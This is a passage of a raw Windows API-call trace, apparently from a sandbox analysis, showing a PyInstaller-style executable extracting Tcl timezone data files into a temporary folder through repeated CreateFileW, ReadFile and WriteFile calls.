hTemplateFile=0x0) returned 0x10c [0038.236] GetFileType (hFile=0x10c) returned 0x1 [0038.236] htonl (hostlong=0xac000000) returned 0xac [0038.236] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.236] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xac, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xac, lpOverlapped=0x0) returned 1 [0038.237] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.237] CloseHandle (hObject=0x10c) returned 1 [0038.237] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.237] htonl (hostlong=0x30000000) returned 0x30 [0038.237] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.238] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.238] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.238] GetFileType (hFile=0x10c) returned 0x1 [0038.238] htonl (hostlong=0xe8575800) returned 0x5857e8 [0038.238] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5d07e8, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.238] htonl (hostlong=0x8a000000) returned 0x8a [0038.238] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8a) returned 0x55cfe0 [0038.238] htonl (hostlong=0x8a000000) returned 0x8a [0038.238] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.238] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.238] htonl (hostlong=0x93000000) returned 0x93 [0038.238] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x93) returned 0x550600 [0038.238] htonl (hostlong=0x8a000000) returned 0x8a [0038.238] htonl (hostlong=0x93000000) returned 0x93 [0038.238] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0038.238] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.238] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0038.238] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.238] CloseHandle (hObject=0x10c) returned 1 [0038.238] GetLastError () returned 0x0 [0038.238] SetLastError (dwErrCode=0x0) [0038.238] GetLastError () returned 0x0 [0038.238] SetLastError (dwErrCode=0x0) [0038.238] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.238] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.239] GetFileType (hFile=0x10c) returned 0x1 [0038.239] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.239] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.239] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.239] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.239] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.239] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.239] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.239] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.239] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.239] CloseHandle (hObject=0x10c) returned 1 [0038.239] GetLastError () returned 0x0 [0038.239] SetLastError (dwErrCode=0x0) [0038.239] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.239] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.239] GetFileType (hFile=0x10c) returned 0x1 [0038.239] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.239] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.239] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.239] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.239] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.239] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.239] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.239] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.240] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.240] CloseHandle (hObject=0x10c) returned 1 [0038.240] GetLastError () returned 0x0 [0038.240] SetLastError (dwErrCode=0x0) [0038.240] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa") returned 63 [0038.240] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.240] GetFileType (hFile=0x10c) returned 0x1 [0038.240] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.240] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.240] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.240] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.240] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.240] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.240] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.240] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.240] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.240] CloseHandle (hObject=0x10c) returned 1 [0038.240] GetLastError () returned 0x0 [0038.240] SetLastError (dwErrCode=0x0) [0038.240] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Lubumbashi") returned 74 [0038.240] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Lubumbashi" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\lubumbashi"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.241] GetLastError () returned 0x2 [0038.241] SetLastError (dwErrCode=0x2) [0038.241] GetLastError () returned 0x2 [0038.241] SetLastError (dwErrCode=0x2) [0038.241] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Lubumbashi", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Lubumbashi", lpFilePart=0x0) returned 0x49 [0038.241] GetLastError () returned 0x2 [0038.241] SetLastError (dwErrCode=0x2) [0038.241] GetLastError () returned 0x2 [0038.241] SetLastError (dwErrCode=0x2) [0038.241] GetLastError () returned 0x2 [0038.241] SetLastError (dwErrCode=0x2) [0038.241] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Lubumbashi") returned 74 [0038.241] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.241] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Lubumbashi" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\lubumbashi"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.241] GetFileType (hFile=0x10c) returned 0x1 [0038.241] htonl (hostlong=0x93000000) returned 0x93 [0038.241] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.241] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x93, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x93, lpOverlapped=0x0) returned 1 [0038.242] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.242] CloseHandle (hObject=0x10c) returned 1 [0038.243] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.243] htonl (hostlong=0x30000000) returned 0x30 [0038.243] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.243] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.243] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.243] GetFileType (hFile=0x10c) returned 0x1 [0038.243] htonl (hostlong=0x72585800) returned 0x585872 [0038.244] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5d0872, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.244] htonl (hostlong=0x88000000) returned 0x88 [0038.244] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x88) returned 0x55cfe0 [0038.244] htonl (hostlong=0x88000000) returned 0x88 [0038.244] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.244] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.244] htonl (hostlong=0x8f000000) returned 0x8f [0038.244] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8f) returned 0x550600 [0038.244] htonl (hostlong=0x88000000) returned 0x88 [0038.244] htonl (hostlong=0x8f000000) returned 0x8f [0038.244] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0038.244] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.244] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0038.244] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.244] CloseHandle (hObject=0x10c) returned 1 [0038.244] GetLastError () returned 0x0 [0038.244] SetLastError (dwErrCode=0x0) [0038.244] GetLastError () returned 0x0 [0038.244] SetLastError (dwErrCode=0x0) [0038.244] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.244] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.244] GetFileType (hFile=0x10c) returned 0x1 [0038.244] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.244] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.244] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.244] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.245] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.245] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.245] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.245] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.245] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.245] CloseHandle (hObject=0x10c) returned 1 [0038.245] GetLastError () returned 0x0 [0038.245] SetLastError (dwErrCode=0x0) [0038.245] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.245] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.245] GetFileType (hFile=0x10c) returned 0x1 [0038.245] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.245] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.245] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.245] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.245] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.245] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.245] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.245] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.245] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.245] CloseHandle (hObject=0x10c) returned 1 [0038.245] GetLastError () returned 0x0 [0038.245] SetLastError (dwErrCode=0x0) [0038.245] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa") returned 63 [0038.246] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.246] GetFileType (hFile=0x10c) returned 0x1 [0038.246] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.246] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.246] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.246] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.246] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.246] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.246] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.246] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.246] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.246] CloseHandle (hObject=0x10c) returned 1 [0038.246] GetLastError () returned 0x0 [0038.246] SetLastError (dwErrCode=0x0) [0038.246] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Lusaka") returned 70 [0038.246] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Lusaka" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\lusaka"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.246] GetLastError () returned 0x2 [0038.246] SetLastError (dwErrCode=0x2) [0038.246] GetLastError () returned 0x2 [0038.246] SetLastError (dwErrCode=0x2) [0038.246] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Lusaka", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Lusaka", lpFilePart=0x0) returned 0x45 [0038.246] GetLastError () returned 0x2 [0038.246] SetLastError (dwErrCode=0x2) [0038.246] GetLastError () returned 0x2 [0038.246] SetLastError (dwErrCode=0x2) [0038.246] GetLastError () returned 0x2 [0038.246] SetLastError (dwErrCode=0x2) [0038.247] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Lusaka") returned 70 [0038.247] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.247] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Lusaka" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\lusaka"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.247] GetFileType (hFile=0x10c) returned 0x1 [0038.247] htonl (hostlong=0x8f000000) returned 0x8f [0038.247] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.247] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x8f, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x8f, lpOverlapped=0x0) returned 1 [0038.248] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.248] CloseHandle (hObject=0x10c) returned 1 [0038.249] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.249] htonl (hostlong=0x30000000) returned 0x30 [0038.249] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.249] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.249] CreateFileW 